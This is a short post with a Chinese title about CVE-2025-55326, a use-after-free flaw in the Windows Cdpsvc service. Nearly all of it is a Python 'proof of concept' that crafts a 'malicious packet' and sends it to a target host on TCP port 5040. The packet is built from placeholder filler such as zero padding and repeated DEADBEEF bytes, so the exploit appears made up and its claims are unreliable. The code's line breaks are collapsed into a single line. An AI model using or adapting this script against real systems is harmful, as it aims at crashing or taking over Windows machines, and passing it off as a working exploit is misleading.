CVE-2025-55326：Windows Cdpsvc服务释放后使用漏洞

# CVE-2025-55326 PoC - Conceptual Proof of Concept # Use After Free in Windows Connected Devices Platform Service (Cdpsvc) # WARNING: This is for educational/research purposes only import socket import struct import sys TARGET_HOST = "192.168.1.100" # Target Windows machine TARGET_PORT = 5040 # Common CDPSvc discovery port def craft_malicious_packet(): """ Craft a malicious CDPSvc protocol packet to trigger UAF vulnerability. The packet is designed to cause the service to free a memory object while still maintaining a reference to it. """ # CDPSvc protocol header (simplified) # Magic bytes for Connected Devices Platform discovery protocol magic = b'\x00\x06' # Message type - device discovery request msg_type = struct.pack('<H', 0x0001) # Payload designed to trigger UAF condition # First part: valid request that allocates memory valid_request = b'\x00' * 256 # Second part: trigger that causes premature free # followed by continued reference to freed memory trigger = b'\xFF' * 128 + b'\xDE\xAD\xBE\xEF' * 32 # Combine into malicious packet packet = magic + msg_type + struct.pack('<I', len(valid_request)) packet += valid_request + trigger return packet def exploit(): """ Send the malicious packet to trigger the UAF vulnerability in Cdpsvc service. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) payload = craft_malicious_packet() sock.send(payload) print(f"[*] Malicious packet sent to {TARGET_HOST}:{TARGET_PORT}") print("[*] If successful, the Cdpsvc service may crash or execute attacker code") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-55326 PoC - Cdpsvc Use After Free") print("For authorized security testing only") print("=" * 60) exploit()